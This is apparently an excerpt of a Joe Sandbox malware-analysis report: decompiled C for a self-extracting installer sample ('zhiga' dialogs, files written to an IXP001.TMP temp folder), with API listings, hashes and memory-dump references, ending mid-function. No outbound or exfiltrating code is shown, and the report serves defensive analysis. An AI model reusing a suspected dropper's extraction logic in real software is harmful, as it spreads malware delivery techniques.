					if(E00F8468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E00F844B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x00f8417d
0x00f8418f
0x00f84193
0x00f841b7
0x00f841d3
0x00f841e6
0x00000000
0x00f841e7
0x00f841d5
0x00f841d6
0x00f841d8
0x00f841d9
0x00f841da
0x00f841df
0x00f841e1
0x00000000
0x00f841e1
0x00f841b9
0x00f841ba
0x00f841bc
0x00f841bd
0x00f841be
0x00000000
0x00f841be
0x00000000

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00F830B4), ref: 00F84189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00F830B4), ref: 00F841E7

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Strings

FINISHMSG, xrefs: 00F84173, 00F841AB
<None>, xrefs: 00F841C5

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: cd98b4a69be770c8d456550efe61bde9fd973d8ad93b4ca6142e9bfc4de7cfd6
Instruction ID: 7c3926e369d0412d9f3d01b02b4c6005726a317d1cbe4c0f99adba1cf497fadb
Opcode Fuzzy Hash: cd98b4a69be770c8d456550efe61bde9fd973d8ad93b4ca6142e9bfc4de7cfd6
Instruction Fuzzy Hash: 5501F4B270061A7BF72576654C8AFFB718EEBD47A5F104126B705E1180DA6CEC017375

Uniqueness

Uniqueness Score: -1.00%

Function 00F819E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F819E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E00F843D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0xf89a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00F86CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00f819e0
0x00f819e0
0x00f819eb
0x00f819f2
0x00f819f9
0x00f819fc
0x00f81a01
0x00f81a2a
0x00f81a2e
0x00f81a3e
0x00f81a4f
0x00f81a62
0x00f81a6a
0x00000000
0x00f81a03
0x00f81a06
0x00f81a20
0x00f81a20
0x00f81a08
0x00f81a08
0x00f81a14
0x00000000
0x00f81a16
0x00f81a18
0x00f81a70
0x00f81a72
0x00f81a72
0x00f81a14
0x00f81a06
0x00f81a81

APIs

EndDialog.USER32(?,?), ref: 00F81A18
GetDesktopWindow.USER32 ref: 00F81A24
LoadStringA.USER32(?,?,00000200), ref: 00F81A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00F81A62
MessageBeep.USER32(000000FF), ref: 00F81A6A

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 28ecd766ccc60a13b16ff024420d6c87e00a968074fad86b109138b0773a7442
Instruction ID: 728c2fc31c5987c2fc8373e8d54faa30cb4d805b32f67f0ffb9b1a6be94f2d0a
Opcode Fuzzy Hash: 28ecd766ccc60a13b16ff024420d6c87e00a968074fad86b109138b0773a7442
Instruction Fuzzy Hash: DC11CE3150010DABDB04EF64DD48AFE77B8FB09310F108255F92292190DA349E02FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F87155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F87155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0xf88004; // 0x7e92e7a6
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0xf88004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0xf88004 = _t39;
				}
				_t37 =  !_t36;
				 *0xf88008 = _t37;
				return _t37;
			}

0x00f8715d
0x00f87161
0x00f87165
0x00f87178
0x00f87182
0x00f8718e
0x00f87197
0x00f871a0
0x00f871b1
0x00f871b8
0x00f871c4
0x00f871c7
0x00f871cb
0x00f871d5
0x00f871da
0x00f871da
0x00f871dc
0x00f871dc
0x00f871e2
0x00f871e5
0x00f871ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F87182
GetCurrentProcessId.KERNEL32 ref: 00F87191
GetCurrentThreadId.KERNEL32 ref: 00F8719A
GetTickCount.KERNEL32 ref: 00F871A3
QueryPerformanceCounter.KERNEL32(?), ref: 00F871B8

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: acedf29784ceade29a62bef7c18de84e2761f7964f082cdaf570d099ff5a88a7
Instruction ID: 119c50f11e19e2f3e0b8d2d475fa5528bcfd264ee14c0bd485c31444b651d7d8
Opcode Fuzzy Hash: acedf29784ceade29a62bef7c18de84e2761f7964f082cdaf570d099ff5a88a7
Instruction Fuzzy Hash: 23112871D0560C9BCF10EBB8DA48AEEBBF4EB08350FA14856D801E7214EA309A05AF41

Uniqueness

Uniqueness Score: -1.00%

Function 00F863C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F863C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00F81781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
				E00F8658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0xf89124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0xf89124 = 0x80070052;
					_t37 = 0;
				}
				return E00F86CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x00f863cb
0x00f863d2
0x00f863d8
0x00f863ea
0x00f863f3
0x00f86401
0x00f86402
0x00f86410
0x00f86415
0x00f86433
0x00f86438
0x00f86449
0x00f86463
0x00f8646d
0x00f86477
0x00f86477
0x00f8647a
0x00f8643a
0x00f8643a
0x00f86444
0x00f86444
0x00f86492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F8642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F8645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F8647A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F863EB

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-3217841213
Opcode ID: bd3857ede2055ec53e4dee66846e64de45238bfce8f0ed741169ff3e596c9ba7
Instruction ID: 14746c62804371590d1fadec75ad96ce43b6c250d46e65103746dc1d49c9ecbb
Opcode Fuzzy Hash: bd3857ede2055ec53e4dee66846e64de45238bfce8f0ed741169ff3e596c9ba7
Instruction Fuzzy Hash: 1921C071A0021CABDB10EF65DCC5FEF77A8EB45314F0041A9B585A7280DAB45D85AFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F847E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F847E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00F81680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0xf891e0; // 0x33d7bf0
						 *(_t34 + 4) = _t11;
						 *0xf891e0 = _t34;
						return 1;
					}
					_t25 =  *0xf88584; // 0x0
					E00F844B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0xf88584; // 0x0
				E00F844B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x00f847e8
0x00f847f0
0x00f847f4
0x00f8480f
0x00f84811
0x00f84814
0x00f84814
0x00f84816
0x00f84817
0x00f84829
0x00f8482b
0x00f8482f
0x00f8484f
0x00f84852
0x00f84855
0x00f84855
0x00f84857
0x00f84858
0x00f84860
0x00f84865
0x00f8486a
0x00f8486f
0x00000000
0x00f84876
0x00f84831
0x00f84841
0x00f84847
0x00f8480b
0x00000000
0x00f8480b
0x00f847f6
0x00f84806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00F84E6F), ref: 00F847EA
LocalAlloc.KERNEL32(00000040,?), ref: 00F84823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00F84847

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F84851

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-3217841213
Opcode ID: c190e038688333596cac6fbab27dacc48fc0c49509f4fcdaf9f0375e561d1ef5
Instruction ID: d2b55955bc15a6e7ea0e2654f7c4de75b5bb33b86ecad95187507d65248e06c2
Opcode Fuzzy Hash: c190e038688333596cac6fbab27dacc48fc0c49509f4fcdaf9f0375e561d1ef5
Instruction Fuzzy Hash: BB11E975604A42AFE714AF249C18FF73B5AEB85750F048519FD829B341DB39AC06A760

Uniqueness

Uniqueness Score: -1.00%

Function 00F83680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x00f8368c
0x00f8368f
0x00f83691
0x00f8369f
0x00f836a7
0x00000000
0x00000000
0x00f836ba
0x00000000
0x00f836bc
0x00f836bc
0x00f836c0
0x00f836cb
0x00f836c2
0x00f836c4
0x00f836c4
0x00f836da
0x00f836e0
0x00f836e6
0x00000000
0x00000000
0x00f836e6
0x00000000
0x00f836ba
0x00f836ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F8369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836B2
DispatchMessageA.USER32(?), ref: 00F836CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836DA

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 832eaf69142da6d810ebc03950e016d223c3909ef33070e75cf7afd06e772c1b
Instruction ID: 08420924679f50936865472e67414d024ad850c8cd23b359424f5f36ee18f569
Opcode Fuzzy Hash: 832eaf69142da6d810ebc03950e016d223c3909ef33070e75cf7afd06e772c1b
Instruction Fuzzy Hash: 7A01A772D0021877DB305BAA9C4CEEB777CEBC5F20F10012AFE05E2294E561C640EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F86517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00F86517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0xf89a3c; // 0xf80000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E00F844B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x00f8651f
0x00f8652a
0x00f86534
0x00f8656b
0x00f86577
0x00f8657c
0x00f86536
0x00f8653e
0x00f86542
0x00000000
0x00f86544
0x00f86547
0x00f8654c
0x00f86549
0x00f86549
0x00f86549
0x00f8655e
0x00f86560
0x00f86569
0x00000000
0x00000000
0x00f86569
0x00f86542
0x00f86587

APIs

FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: c8bcdb0e43b1f7c0add6ed61c70baafe9e144c3ee17388a5bc395fcf375bc0be
Instruction ID: 038db0188b6b6ecfeb8200b909a4f3424ee9bf7b758b181cf6235dbd9acd4c24
Opcode Fuzzy Hash: c8bcdb0e43b1f7c0add6ed61c70baafe9e144c3ee17388a5bc395fcf375bc0be
Instruction Fuzzy Hash: DB012672500609BBDB106FA99C08EFB7B6DEB85770F08012AFE00E7190D7758C10BBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F865E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00F865E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x00f865e8
0x00f865ed
0x00f865ef
0x00f865f2
0x00f865f4
0x00f865f4
0x00f865f6
0x00f865f7
0x00f86608
0x00f86611
0x00f86618
0x00f8661c
0x00000000
0x00000000
0x00f8660e
0x00f86623
0x00f86625
0x00f8663b
0x00f8663b
0x00f8663d
0x00f86641
0x00f86610
0x00f86610
0x00000000
0x00f86610
0x00f86644
0x00f86647
0x00f86647
0x00f86621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00F82B33), ref: 00F86602
CharPrevA.USER32(?,00000000), ref: 00F86612
CharPrevA.USER32(?,00000000), ref: 00F86629
CharNextA.USER32(00000000), ref: 00F86635

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 95a30be76d7a37c4ae2dcc1a5f5bc2b1f06fb563fe469f0a4508d274fa917753
Instruction ID: 299e924a534fcbca7eb75718cccfd759b86cc50cca99043f17e5d2ca433e4bf5
Opcode Fuzzy Hash: 95a30be76d7a37c4ae2dcc1a5f5bc2b1f06fb563fe469f0a4508d274fa917753
Instruction Fuzzy Hash: 45F028328045D06EE7322B288CCC9FBBF9CCF87374B2901AFE491D6001E6150D06AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F869B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F869B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0xf881f8 = E00F86C70();
				__set_app_type(E00F86FBE(2));
				 *0xf888a4 =  *0xf888a4 | 0xffffffff;
				 *0xf888a8 =  *0xf888a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0xf88528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0xf8851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00F87000();
				if( *0xf88000 == 0) {
					__setusermatherr(E00F87000);
				}
				E00F871EF(_t6);
				return 0;
			}

0x00f869b7
0x00f869c2
0x00f869c8
0x00f869cf
0x00f869d8
0x00f869de
0x00f869e4
0x00f869e6
0x00f869ec
0x00f869f2
0x00f869f4
0x00f86a00
0x00f86a07
0x00f86a0d
0x00f86a0e
0x00f86a15

APIs

Part of subcall function 00F86FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00F86FC5

__set_app_type.MSVCRT ref: 00F869C2
__p__fmode.MSVCRT ref: 00F869D8
__p__commode.MSVCRT ref: 00F869E6
__setusermatherr.MSVCRT ref: 00F86A07

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 403a9108639fcebffffdcf7a6fa3cd8571ea49ab9ad0cb62caf12369bba4c551
Instruction ID: f50726348e5ae571c8d528ac3aaccc42d652a483433e80a023c1e25af142567b
Opcode Fuzzy Hash: 403a9108639fcebffffdcf7a6fa3cd8571ea49ab9ad0cb62caf12369bba4c551
Instruction Fuzzy Hash: BAF098745093098FDB68BB34BD0E6E43B61FB05371B60061AE461862E5CF3ED546BB16

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: arJf.exePID: 6080, Parent PID: 2296COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	8.3%
Signature Coverage:	5%
Total number of Nodes:	1254
Total number of Limit Nodes:	45

Executed Functions

Function 004019F0 Relevance: 147.7, APIs: 34, Strings: 50, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
